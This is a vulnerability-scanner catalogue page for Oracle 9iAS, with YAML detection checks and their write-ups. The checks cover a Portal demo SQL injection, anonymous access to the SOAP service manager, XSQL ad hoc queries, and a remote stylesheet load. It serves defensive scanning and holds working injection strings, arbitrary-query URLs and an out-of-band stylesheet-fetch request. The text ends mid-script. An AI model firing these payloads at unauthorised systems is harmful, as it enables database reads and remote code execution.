Oracle 9iAS — 5 vulnerability checks

noctis ships 5 vulnerability checks for Oracle 9iAS, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Oracle 9iAS Portal PORTAL_DEMO.ORG_CHART SQL injection

CVECVE-2003-1193, CVE-2013-3831
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, script, http_request, match · highest QoD 97
Feedtests/vulnerabilities/oracle-9ias/CVE-2003-1193.yaml

Tests Oracle Portal on Oracle 9i Application Server for SQL injection in the PORTAL_DEMO.ORG_CHART demo hierarchy component. The feed requests /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW, then the Portal 3.0 location /pls/portal30/PORTAL30_DEMO.ORG_CHART.SHOW, and, when the "Organization Chart" page is served, sends the same request with a _start_with_value argument that closes the quoted value and appends a UNION SELECT of a text marker joined to the sum of two random numbers, read from the DUAL table. The server is reported as vulnerable when the chart shows the marker followed by the computed sum, which only the database can produce. Nothing is written. When the demo page is served but the injection is not confirmed, the demo's public exposure is reported with a lower confidence, provided a request for a random procedure that does not exist does not return the same page.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request GET /pls/portal30/PORTAL30_DEMO.ORG_CHART.SHOW
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request GET {{base}}.ORG_CHART.SHOW?p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_wit…
  7. HTTP(S) request GET {{base}}.{{p.proc}}.SHOW
  8. Parses / computes the next value with a Rhai script
  9. Checks proof for ^sum: [0-9]+\+[0-9]+=[0-9]+$ → finding QoD 97: Oracle 9iAS Portal PORTAL_DEMO.ORG_CHART SQL injection
  10. Checks proof for ^demo$ → finding QoD 70: Oracle 9iAS Portal PORTAL_DEMO.ORG_CHART demo publicly executable

References:

Feed source — tests/vulnerabilities/oracle-9ias/CVE-2003-1193.yaml
# Oracle 9iAS Portal — PORTAL_DEMO.ORG_CHART hierarchy demo SQL injection
# (CVE-2003-1193, CVE-2013-3831).
#
# Oracle Portal (Portal DB / WebDB, served by mod_plsql) ships a demo hierarchy
# component, PORTAL_DEMO.ORG_CHART, executable by PUBLIC. Its SHOW procedure
# takes p_arg_names / p_arg_values pairs; the value paired with
# _start_with_value is concatenated inside a quoted literal of the hierarchy
# query's START WITH clause, so a quote closes the literal and a UNION SELECT
# adds a row whose first column is rendered in the chart (ISecAuditors
# advisory "PL/SQL Injection in Oracle Portal Demo Organization Chart",
# CVE-2013-3831; the 9iAS Portal DB hierarchy component SQL injection is
# CVE-2003-1193, Oracle Security Alert #61). Fix: Oracle patches, or
# REVOKE EXECUTE ON portal_demo.org_chart FROM PUBLIC.
#
# Detection:
#   1. GET /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW (Portal 9.0.x layout; the
#      source NVT's only check), then /pls/portal30/PORTAL30_DEMO.ORG_CHART.SHOW
#      (Portal 3.0.x layout) — the demo is executable when it answers 200 with
#      the "Organization Chart" page. Later requests use the layout that answered.
#   2. Benign SQL injection proof (read-only, no table touched): the
#      advisory's request with
#        _start_with_value = :p_start_with_value'union select
#          'noctis'||to_char(A+B),null,null,null,null from dual--
#      for random A, B. Reported (QoD 97) when the chart contains
#      "noctis<A+B>": only the database can compute the sum, so a page that
#      echoes the request (honeypot, error page) never matches.
#   3. Demo executable but the injection not confirmed → QoD 70, CVE-2003-1193
#      only (the demo should not be reachable by PUBLIC per Alert #61), once a
#      control request for a random absent PORTAL_DEMO procedure does not
#      return the chart (a catch-all page is not reported).
#
# Better than the source NVT: it only matches "Organization Chart" anywhere in
# the reply (any status) and only on the 9.0.x path; here it must be a 200,
# the 3.0.x DAD/schema is tried too, and the SQL injection is actually proven
# (QoD 97) instead of inferred from the demo's presence.
#
# CVSS: both CVEs have only an NVD CVSS v2 score (CVE-2003-1193 7.5,
# CVE-2013-3831 5.5); 7.5 is kept from CVE-2003-1193.
#
# Ported from OpenVAS/Greenbone NVT pre2008/oracle9i_portaldemo_orgchart.nasl
# (OID 1.3.6.1.4.1.25623.1.0.11918, GPL-2.0-only).
uid: f4092509-4e61-4bf2-8f59-fafadc204f32
name: "Oracle 9iAS Portal PORTAL_DEMO.ORG_CHART SQL injection"
description: |
  Tests Oracle Portal on Oracle 9i Application Server for SQL injection in
  the PORTAL_DEMO.ORG_CHART demo hierarchy component. The feed requests
  /pls/portal/PORTAL_DEMO.ORG_CHART.SHOW, then the Portal 3.0 location
  /pls/portal30/PORTAL30_DEMO.ORG_CHART.SHOW, and, when the "Organization
  Chart" page is served, sends the same request with a _start_with_value argument
  that closes the quoted value and appends a UNION SELECT of a text marker
  joined to the sum of two random numbers, read from the DUAL table. The
  server is reported as vulnerable when the chart shows the marker followed
  by the computed sum, which only the database can produce. Nothing is
  written. When the demo page is served but the injection is not confirmed,
  the demo's public exposure is reported with a lower confidence, provided a
  request for a random procedure that does not exist does not return the
  same page.
cves: [CVE-2003-1193, CVE-2013-3831]
cvss: 7.5               # NVD has only a CVSS v2 score (7.5), no v3.x
severity: high
category: sqli
confidence_base: 0.30
tags: [oracle, oracle-9ias, oracle-portal, mod_plsql, sqli, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2003-1193"
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-3831"
  - "https://seclists.org/fulldisclosure/2013/Oct/111"
  - "http://www.securityfocus.com/bid/8966"
  # OpenVAS/Greenbone NVT pre2008/oracle9i_portaldemo_orgchart.nasl (GPL-2.0-only)

steps:
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}
  - id: init-probe30
    action: set_var
    var_name: probe30
    var_value: {status: 0, body: ""}
  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}
  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: mint
    action: script
    store_as: p
    code: |
      let a = rand_int(10000, 49999);
      let b = rand_int(10000, 49999);
      #{ a: a, b: b, marker: "noctis" + (a + b), proc: "NOCTIS" + toupper(rand_str(8)) }

  # Portal 9.0.x layout (DAD portal, schema PORTAL_DEMO).
  - id: probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "/pls/portal/PORTAL_DEMO.ORG_CHART.SHOW"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    store_as: probe

  - id: check-90
    action: script
    store_as: base
    code: |
      if probe.status == 200 && type_of(probe.body) == "string"
        && stridx(probe.body, "Organization Chart") >= 0 { "/pls/portal/PORTAL_DEMO" } else { "" }

  # Portal 3.0.x layout (DAD portal30, schema PORTAL30_DEMO).
  - id: probe30
    action: http_request
    method: GET
    port: "{{port}}"
    condition: "base == \"\""
    path: "/pls/portal30/PORTAL30_DEMO.ORG_CHART.SHOW"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    store_as: probe30

  - id: check-30
    action: script
    store_as: base
    code: |
      if base != "" { base }
      else if probe30.status == 200 && type_of(probe30.body) == "string"
        && stridx(probe30.body, "Organization Chart") >= 0 { "/pls/portal30/PORTAL30_DEMO" } else { "" }

  # The advisory's request; spaces as "+", quote / pipes / parentheses / plus percent-encoded.
  - id: inject
    action: http_request
    method: GET
    port: "{{port}}"
    condition: "base != \"\""
    path: "{{base}}.ORG_CHART.SHOW?p_arg_names=_max_levels&p_arg_values=1&p_arg_names=_start_with_field&p_arg_values=null&p_arg_names=_start_with_value&p_arg_values=:p_start_with_value%27union+select+%27noctis%27%7C%7Cto_char%28{{p.a}}%2B{{p.b}}%29,null,null,null,null+from+dual--"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 20
    store_as: inj

  # Control for the presence-only branch: a procedure that does not exist in
  # the demo schema must not produce the chart (catch-all pages are not reported).
  - id: control
    action: http_request
    method: GET
    port: "{{port}}"
    condition: "base != \"\""
    path: "{{base}}.{{p.proc}}.SHOW"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 10
    store_as: ctl

  - id: verdict
    action: script
    store_as: proof
    code: |
      if base != "" && inj.status == 200 && type_of(inj.body) == "string"
        && stridx(inj.body, p.marker) >= 0 {
        "sum: " + p.a + "+" + p.b + "=" + (p.a + p.b)
      } else if base != "" && ctl.status > 0
        && !(ctl.status == 200 && type_of(ctl.body) == "string" && stridx(ctl.body, "Organization Chart") >= 0) {
        "demo"
      } else { "" }

  - id: report-sqli
    action: match
    source: proof
    pattern: "^sum: [0-9]+\\+[0-9]+=[0-9]+$"
    on_match:
      finding:
        title: "Oracle 9iAS Portal PORTAL_DEMO.ORG_CHART SQL injection"
        description: "The Oracle Portal demo hierarchy component PORTAL_DEMO.ORG_CHART is executable by unauthenticated users and concatenates its _start_with_value argument into its SQL query: a UNION SELECT appended to that argument made the database compute the sum of two random numbers, which the organization chart then displayed. Anyone can run arbitrary SELECT statements with the privileges of the schema that owns the demo."
        remediation: "Apply the Oracle Portal security patches (Oracle Security Alert #61 and later Critical Patch Updates), and revoke the public grant on the demo: REVOKE EXECUTE ON portal_demo.org_chart FROM PUBLIC (portal30_demo.org_chart on Portal 3.0), or remove the demo schema from production servers."
        confidence_delta: 0.67   # 0.30 + 0.67 = 0.97
        qod: 97
        evidence: "GET {{base}}.ORG_CHART.SHOW with _start_with_value = :p_start_with_value'union select 'noctis'||to_char({{p.a}}+{{p.b}}),null,null,null,null from dual-- returned HTTP 200 with the organization chart showing {{p.marker}} (the database computed {{p.a}}+{{p.b}})"
      stop: true

  - id: report-demo
    action: match
    source: proof
    pattern: "^demo$"
    on_match:
      finding:
        cves: [CVE-2003-1193]
        title: "Oracle 9iAS Portal PORTAL_DEMO.ORG_CHART demo publicly executable"
        description: "The Oracle Portal demo hierarchy component PORTAL_DEMO.ORG_CHART answers unauthenticated requests with its Organization Chart page. This demo is affected by SQL injection in Oracle 9iAS Portal releases (CVE-2003-1193); the injection itself could not be confirmed on this server."
        remediation: "Revoke the public grant on the demo (REVOKE EXECUTE ON portal_demo.org_chart FROM PUBLIC, portal30_demo.org_chart on Portal 3.0) or remove the demo schema from production servers, and apply the Oracle Portal security patches (Oracle Security Alert #61)."
        confidence_delta: 0.40   # 0.30 + 0.40 = 0.70
        qod: 70
        evidence: "GET {{base}}.ORG_CHART.SHOW returned HTTP 200 with the \"Organization Chart\" demo page; the UNION SELECT probe did not show a computed value, and GET {{base}}.{{p.proc}}.SHOW (absent procedure) did not return the chart"

Oracle 9iAS SOAP Service Manager Unauthenticated Access

CVECVE-2001-1371
Severityhigh · CVSS 7.5
Categoryexposure — Exposure
Serviceshttp, https
Detectionset_var, http_request, script, match · highest QoD 97
Feedtests/vulnerabilities/oracle-9ias/CVE-2001-1371.yaml

Tests Oracle 9i Application Server for a SOAP router that lets anonymous clients use the SOAP deployment manager (urn:soap-service-manager), which can deploy new SOAP services (arbitrary Java code) or remove existing ones. The feed sends the manager's read-only "list" call (the ids of the deployed services) to /soap/servlet/soaprouter and /soap/admin/servlet/soaprouter, and reports the server when it answers with a SOAP "listResponse" and no SOAP fault. Nothing is deployed or removed.

How noctis detects it

  1. HTTP(S) request POST {{router}} with a crafted body
  2. Parses / computes the next value with a Rhai script
  3. Checks proof for ^/soap/(admin/)?servlet/soaprouter: [0-9]+ service id\(s\)$ → finding QoD 97: Oracle 9iAS SOAP Service Manager Unauthenticated Access (CVE-2001-1371)

References:

Feed source — tests/vulnerabilities/oracle-9ias/CVE-2001-1371.yaml
# Oracle 9i Application Server — SOAP service manager reachable without
# authentication (CVE-2001-1371)
#
# A default Oracle 9iAS 1.0.2.2 install enables Oracle SOAP and exposes its
# deployment administration services, urn:soap-service-manager and
# urn:soap-provider-manager, through the public SOAP router
# (/soap/servlet/soaprouter). Anyone can call them to deploy a new SOAP
# service (arbitrary Java code on the server) or undeploy existing ones
# (CERT VU#736923, CA-2002-08, Oracle Security Alert #28, BID 4289).
# Fix/workaround: set the serviceManager option autoDeploy to false in
# soapConfig.xml (the managers are then no longer SOAP services), or remove
# the /soap/servlet mount from jserv.conf.
#
# Detection (benign, read-only): POST an RPC call of the service manager's
# read-only "list" method (String[] list(): the ids of the deployed services)
# to the SOAP router, on the public path and on the documented admin path
# /soap/admin/servlet/soaprouter (the administration URL example of the
# Oracle9iAS SOAP Developer's Guide). Reported when the reply is a SOAP
# envelope carrying a <listResponse> element in the manager's namespace
# (urn:soap-service-manager) and no SOAP Fault: the request only
# contains "list", so a page that echoes it cannot produce the response
# element. Nothing is deployed or undeployed. QoD 97: the deployment
# manager answered an unauthenticated call.
#
# Improvements over the source NASL: the NASL only GETs
# /soap/servlet/soaprouter and reports any page containing "SOAP Server",
# i.e. the SOAP router is installed. A server fixed the way the vendor
# recommends (autoDeploy=false) keeps that router and is still reported.
# This feed proves the deployment manager itself answers anonymously, so it
# reports neither a fixed router nor a generic page, and it also checks the
# admin router path.
#
# CVSS: NVD has only a v2 score for CVE-2001-1371 (7.5), no v3.
#
# Ported from OpenVAS/Greenbone NVT pre2008/oracle9i_soaprouter.nasl
# (OID 1.3.6.1.4.1.25623.1.0.11227, GPL-2.0-only).
uid: 36e83042-202f-4b5b-818f-21403579921a
name: "Oracle 9iAS SOAP Service Manager Unauthenticated Access (CVE-2001-1371)"
description: |
  Tests Oracle 9i Application Server for a SOAP router that lets anonymous
  clients use the SOAP deployment manager (urn:soap-service-manager), which
  can deploy new SOAP services (arbitrary Java code) or remove existing ones.
  The feed sends the manager's read-only "list" call (the ids of the deployed
  services) to /soap/servlet/soaprouter and /soap/admin/servlet/soaprouter,
  and reports the server when it answers with a SOAP "listResponse" and no
  SOAP fault. Nothing is deployed or removed.
cves: [CVE-2001-1371]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.30
tags: [oracle, oracle-9ias, soap, service-manager, default-configuration, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-1371"
  - "https://www.kb.cert.org/vuls/id/736923"
  - "http://www.cert.org/advisories/CA-2002-08.html"
  - "http://www.securityfocus.com/bid/4289"
  # OpenVAS/Greenbone NASL pre2008/oracle9i_soaprouter.nasl (GPL-2.0-only)

steps:
  - id: init-list
    action: set_var
    var_name: listed
    var_value: {status: 0, body: ""}
    loop:
      var: router
      over:
        - /soap/servlet/soaprouter
        - /soap/admin/servlet/soaprouter

  - id: list-services
    action: http_request
    method: POST
    path: "{{router}}"
    port: "{{port}}"
    headers:
      Content-Type: "text/xml; charset=utf-8"
      SOAPAction: '""'
    body: "<?xml version='1.0' encoding='UTF-8'?><SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"><SOAP-ENV:Body><ns1:list xmlns:ns1=\"urn:soap-service-manager\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"></ns1:list></SOAP-ENV:Body></SOAP-ENV:Envelope>"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: listed

  # "<path>: N service id(s)" when the manager answered, else "".
  - id: verdict
    action: script
    code: |
      let b = listed.body;
      if type_of(b) == "string" && listed.status == 200
         && egrep("<([A-Za-z0-9_.-]+:)?Envelope[\\s>]", b) != ""
         && egrep("<([A-Za-z0-9_.-]+:)?listResponse[\\s>/]", b) != ""
         && stridx(b, "urn:soap-service-manager") >= 0
         && egrep("<([A-Za-z0-9_.-]+:)?Fault[\\s>/]", b) == "" {
        router + ": " + (split(b, "<item").len() - 1) + " service id(s)"
      } else { "" }
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: '^/soap/(admin/)?servlet/soaprouter: [0-9]+ service id\(s\)$'
    on_match:
      finding:
        title: "Oracle 9iAS SOAP Service Manager Unauthenticated Access (CVE-2001-1371)"
        description: "The Oracle SOAP router answered an unauthenticated call to the SOAP deployment manager (urn:soap-service-manager): its \"list\" method returned the ids of the deployed services. The same manager deploys and undeploys services, so any visitor can deploy a SOAP service containing arbitrary Java code and run it on the server, or remove the existing services."
        remediation: "Set the serviceManager option autoDeploy to false in soapConfig.xml so the service and provider managers are no longer exposed as SOAP services, restrict the SOAP administration URL to administrators, or remove the /soap/servlet mount from jserv.conf if SOAP is not used."
        confidence_delta: 0.65
        qod: 97
        evidence: "POST {{router}} (urn:soap-service-manager list) returned a SOAP listResponse without fault: {{proof}}"
      stop: true

Oracle 9iAS XSQL Sample Application Arbitrary SQL Query Execution

CVECVE-2002-1631
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/oracle-9ias/CVE-2002-1631.yaml

Tests Oracle 9i Application Server for the XSQL Servlet "ad hoc SQL" sample page (/xsql/demo/adhocsql/query.xsql), which runs the SQL statement given in its "sql" parameter against the database and returns the result. The feed asks the database, through that page, to multiply two random numbers (select a*b from dual) and reports the page when the correct product comes back as a result value. The product is not part of the request, so a page that only echoes the query is not reported. No table is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET /xsql/demo/adhocsql/query.xsql?sql=select%20{{m.a}}*{{m.b}}%20noctis%20from%20dual
  4. Parses / computes the next value with a Rhai script
  5. Checks proof for ^/xsql/demo/adhocsql/query\.xsql: [0-9]+$ → finding QoD 97: Oracle 9iAS XSQL Sample Application Arbitrary SQL Query Execution (CVE-2002-1631)

References:

Feed source — tests/vulnerabilities/oracle-9ias/CVE-2002-1631.yaml
# Oracle 9i Application Server XSQL sample application — arbitrary SQL query
# execution through demo/adhocsql/query.xsql (CVE-2002-1631)
#
# The XSQL Servlet demos shipped with Oracle 9iAS include an "ad hoc SQL"
# sample, /xsql/demo/adhocsql/query.xsql, whose <xsql:query> element runs the
# statement given in the "sql" request parameter ({@sql}) against the demo
# database connection and returns the rows (XML <ROWSET><ROW><COL>…</COL>, or
# an HTML table once the page's stylesheet is applied). Anyone who can reach
# the page can run any query the demo account may run (Oracle CERT VU#717827,
# BID 6556). Fix: remove the XSQL demos from production servers.
#
# Detection (benign, read-only): GET
#   /xsql/demo/adhocsql/query.xsql?sql=select <a>*<b> noctis from dual
# with two random 5-digit operands. The product is computed by the database
# and is not part of the request, so a page that merely echoes the query does
# not match; it must come back as a whole element/cell value (">prod<").
# QoD 97: arbitrary SQL execution is proven. No table is read.
#
# Improvements over the source NASL: the NASL asks for "select username from
# ALL_USERS" (a list of the database accounts) and reports any 200 reply
# containing the word "USERNAME", which a generic page can carry. This feed
# reads no account data and requires a database-computed value. The NASL also
# lists CVE-2002-1630 (demo/email/sendmail.jsp) and CVE-2002-1632 (info.jsp /
# printenv / echo sample pages), which it never requests; this feed only names
# the query.xsql flaw it proves.
#
# CVSS: NVD has only a v2 score for CVE-2002-1631 (7.5), no v3.
#
# Ported from OpenVAS/Greenbone NVT pre2008/oracle_xsql_query.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10613, GPL-2.0-only).
uid: a67a294b-c817-4bfd-97fd-e97f0a9652fd
name: "Oracle 9iAS XSQL Sample Application Arbitrary SQL Query Execution (CVE-2002-1631)"
description: |
  Tests Oracle 9i Application Server for the XSQL Servlet "ad hoc SQL" sample
  page (/xsql/demo/adhocsql/query.xsql), which runs the SQL statement given in
  its "sql" parameter against the database and returns the result. The feed
  asks the database, through that page, to multiply two random numbers
  (select a*b from dual) and reports the page when the correct product comes
  back as a result value. The product is not part of the request, so a page
  that only echoes the query is not reported. No table is read and nothing is
  written.
cves: [CVE-2002-1631]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [oracle, oracle-9ias, xsql, sample-application, sqli, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2002-1631"
  - "https://www.kb.cert.org/vuls/id/717827"
  - "http://www.securityfocus.com/bid/6556"
  # OpenVAS/Greenbone NASL pre2008/oracle_xsql_query.nasl (GPL-2.0-only)

steps:
  # Random operands; the expected product is computed locally.
  - id: mint
    action: script
    code: '#{ a: rand_int(10000, 99999), b: rand_int(10000, 99999) }'
    store_as: m

  - id: mint-product
    action: script
    code: '"" + (m.a * m.b)'
    store_as: prod

  - id: init-resp
    action: set_var
    var_name: q
    var_value: {status: 0, body: ""}

  - id: query
    action: http_request
    method: GET
    path: "/xsql/demo/adhocsql/query.xsql?sql=select%20{{m.a}}*{{m.b}}%20noctis%20from%20dual"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: q

  - id: verdict
    action: script
    code: |
      if type_of(q.body) == "string" && q.status == 200 && egrep(">\\s*" + prod + "\\s*<", q.body) != "" { "/xsql/demo/adhocsql/query.xsql: " + prod }
      else { "" }
    store_as: proof

  - id: report
    action: match
    source: proof
    pattern: "^/xsql/demo/adhocsql/query\\.xsql: [0-9]+$"
    on_match:
      finding:
        title: "Oracle 9iAS XSQL Sample Application Arbitrary SQL Query Execution (CVE-2002-1631)"
        description: "The XSQL \"ad hoc SQL\" sample page (/xsql/demo/adhocsql/query.xsql) ran a SQL statement sent by an unauthenticated visitor: the database computed the product of two random numbers, which came back in the result. Any query the page's database account may run can be executed the same way, for example to list database users and read table contents."
        remediation: "Remove the XSQL Servlet demo applications (the /xsql/demo directory and its virtual path) from production servers, or restrict access to them."
        confidence_delta: 0.65
        qod: 97
        evidence: "GET /xsql/demo/adhocsql/query.xsql?sql=select {{m.a}}*{{m.b}} noctis from dual returned the database-computed product {{prod}}"

Oracle XSQL Servlet client-supplied stylesheet code execution

CVECVE-2001-0126
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, script, wait_oob, match · highest QoD 97
Feedtests/vulnerabilities/oracle-9ias/CVE-2001-0126.yaml

Detects the Oracle XSQL Servlet flaw (CVE-2001-0126) through which any client chooses the XSLT stylesheet applied to an .xsql page with the xml-stylesheet request parameter, including a stylesheet fetched from a remote URL. Oracle's XSLT processor lets a stylesheet call Java methods, so an unauthenticated attacker can run Java code on the server. The test looks for the XSQL demo pages (/xsql/demo/, /xsql/java/demo/). When out-of-band callbacks are enabled, it requests the first page found with xml-stylesheet set to a noctis callback URL and reports the flaw when the server fetches that URL; the callback serves no stylesheet, so no code runs. It also requests each page with xml-stylesheet=none and reports the flaw at a lower confidence when that returns the raw XSQL XML document while the page requested without the parameter does not, which shows that the server applies the client's stylesheet choice.

How noctis detects it

  1. HTTP(S) request GET /xsql/demo/noctis-absent-{{oob_token}}.xsql
  2. HTTP(S) request GET {{page}}?xml-stylesheet=none
  3. HTTP(S) request GET {{page}}
  4. Parses / computes the next value with a Rhai script
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. HTTP(S) request GET {{xsql_page}}?xml-stylesheet={{oob_url}}
  8. Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: Oracle XSQL Servlet loads a client-supplied remote stylesheet — CVE-2001-0126
  9. Checks raw_proof for ^/xsql/[A-Za-z0-9_./]+\.xsql$ → finding QoD 75: Oracle XSQL Servlet applies client-supplied stylesheets — CVE-2001-0126

References:

Feed source — tests/vulnerabilities/oracle-9ias/CVE-2001-0126.yaml
# Oracle XSQL Servlet — client-supplied XSLT stylesheet through the
# "xml-stylesheet" request parameter, which lets anyone run Java code on the
# server (CVE-2001-0126, Georgi Guninski advisory #34, Bugtraq 2001-01-09).
#
# Advisory facts: the XSQL Servlet (1.0.3.0 and earlier, installed by default
# with Oracle 8.1.7 and shipped with Oracle 9iAS) applies the stylesheet named
# in the xml-stylesheet parameter of any .xsql page, and fetches it from any
# URL — http://SERVER/EXISTING.xsql?xml-stylesheet=http://HOSTILE/ora.xsl.
# Oracle's XSLT processor lets a stylesheet create Java objects and call their
# methods (namespace http://www.oracle.com/XSL/Transform/java/), so the remote
# stylesheet runs Java code as the servlet. Fix/workaround: the Oracle patch,
# or allow-client-style="no" on the document element of every .xsql page — the
# servlet then ignores xml-stylesheet. The XSQL documentation describes
# xml-stylesheet=none as "return the raw XML output of the .xsql page"
# (no stylesheet applied); it is honoured on the same condition.
#
# Credit: the in-band request is adapted from Greenbone's
# `pre2008/oracle_xsql.nasl` (GPL-2.0-only, OID 1.3.6.1.4.1.25623.1.0.10594),
# which requests /xsql/demo/airport/airport.xsql?xml-stylesheet=none and
# reports a 200 reply containing "cvsroot".
#
# Detection, on a list of the XSQL demo pages (Oracle 9iAS /xsql/demo/…, the
# advisory's Oracle 8.1.7 /xsql/java/demo/…, and the XSQL 1.0.0.0 flat layout):
#  1. QoD 97 (OOB scans) — INTRUSIVE, BENIGN EXPLOITATION: the page is asked
#     for with xml-stylesheet=<noctis callback URL>. A vulnerable servlet
#     fetches that URL to load it as the page's stylesheet: the callback proves
#     that a client can make the server load a stylesheet of its choice — the
#     flaw itself. The callback returns no stylesheet, so no Java code runs and
#     nothing is written. Sent once, to the first demo page that answers 200,
#     and only when a non-existent .xsql page does not (catch-all honeypots
#     and URL-fetching proxies would call back from any page).
#  2. QoD 75 — the page with xml-stylesheet=none returns the raw XSQL XML
#     document (<?xml …?> with a <ROWSET> / <xsql-error> element, or the
#     reference check's "cvsroot" text), while the same page without the
#     parameter does not: the server honours a client-supplied stylesheet
#     choice. A page with allow-client-style="no" returns the same rendered
#     page both times and is not reported.
#
# Better than the reference check:
#  - proves the remote stylesheet load itself (OOB) instead of a fixed string;
#  - the in-band branch has a control request (the plain page), so a page that
#    always carries the text, or an unstyled page, is not reported;
#  - more install layouts than /xsql/demo/airport/;
#  - no page content reaches the finding (fixed verdict strings).
#
# CVSS: NVD has only a CVSS v2 score for CVE-2001-0126 (7.5), no v3.x.
uid: bb8c24a7-2a0c-4d45-acd2-3a15e967360b
name: "Oracle XSQL Servlet client-supplied stylesheet code execution (CVE-2001-0126)"
description: |
  Detects the Oracle XSQL Servlet flaw (CVE-2001-0126) through which any
  client chooses the XSLT stylesheet applied to an .xsql page with the
  xml-stylesheet request parameter, including a stylesheet fetched from a
  remote URL. Oracle's XSLT processor lets a stylesheet call Java methods, so
  an unauthenticated attacker can run Java code on the server. The test looks
  for the XSQL demo pages (/xsql/demo/, /xsql/java/demo/). When out-of-band
  callbacks are enabled, it requests the first page found with
  xml-stylesheet set to a noctis callback URL and reports the flaw when the
  server fetches that URL; the callback serves no stylesheet, so no code runs.
  It also requests each page with xml-stylesheet=none and reports the flaw
  at a lower confidence when that returns the raw XSQL XML document while the
  page requested without the parameter does not, which shows that the server
  applies the client's stylesheet choice.
cves: [CVE-2001-0126]
cvss: 7.5               # NVD has only a CVSS v2 score (7.5), no v3.x
severity: high
category: rce
confidence_base: 0.20
tags: [oracle, oracle-9ias, xsql, xslt, stylesheet-injection, rce, unauthenticated, oob, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2001-0126"
  - "https://seclists.org/bugtraq/2001/Jan/111"
  - "http://marc.info/?l=bugtraq&m=97906670012796&w=2"
  - "https://exchange.xforce.ibmcloud.com/vulnerabilities/5905"
  # Greenbone NASL pre2008/oracle_xsql.nasl (GPL-2.0-only)

steps:
  # ── Results kept across the page loop ────────────────────────────────────
  - id: init-xsql-page
    action: set_var
    var_name: xsql_page
    var_value: ""

  - id: init-raw-proof
    action: set_var
    var_name: raw_proof
    var_value: ""

  - id: init-oob-sent
    action: set_var
    var_name: oob_sent
    var_value: false

  # Control for the OOB branch: an .xsql page that cannot exist. A server that
  # answers 200 here (catch-all page, honeypot) gets no callback URL, so a
  # honeypot or proxy that fetches every URL it sees is not reported.
  - id: init-soft404
    action: set_var
    var_name: soft404
    var_value: {status: 0}

  - id: soft404-probe
    action: http_request
    method: GET
    path: "/xsql/demo/noctis-absent-{{oob_token}}.xsql"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "oob_enabled"
    store_as: soft404

  # ── Loop group: every following step up to the OOB wait runs once per
  # page. Each pass resets the values it reads.
  - id: init-probe
    action: set_var
    var_name: probe
    var_value: {status: 0, body: ""}
    loop:
      var: page
      over:
        - "/xsql/demo/airport/airport.xsql"
        - "/xsql/java/demo/airport/airport.xsql"
        - "/xsql/demo/helloworld/helloworld.xsql"
        - "/xsql/java/demo/helloworld/helloworld.xsql"
        - "/xsql/demo/airport.xsql"

  - id: init-base
    action: set_var
    var_name: base
    var_value: {status: 0, body: ""}

  - id: init-page-ok
    action: set_var
    var_name: page_ok
    var_value: false

  # Reference request: no stylesheet at all → raw XML when the servlet honours it.
  - id: probe-none
    action: http_request
    method: GET
    path: "{{page}}?xml-stylesheet=none"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: 'raw_proof == "" || (oob_enabled && xsql_page == "")'
    store_as: probe

  # Control: the same page, rendered as its author intended.
  - id: base-page
    action: http_request
    method: GET
    path: "{{page}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "probe.status == 200"
    store_as: base

  - id: page-ok
    action: script
    code: "probe.status == 200 && base.status == 200"
    store_as: page_ok

  - id: remember-page
    action: script
    code: "page"
    condition: 'page_ok && xsql_page == ""'
    store_as: xsql_page

  # Raw XSQL output with xml-stylesheet=none, not without it.
  - id: raw-verdict
    action: script
    store_as: raw_proof
    code: |
      let pb = if type_of(probe.body) == "string" { probe.body } else { "" };
      let bb = if type_of(base.body) == "string" { base.body } else { "" };
      let probe_raw = pb.contains("<?xml")
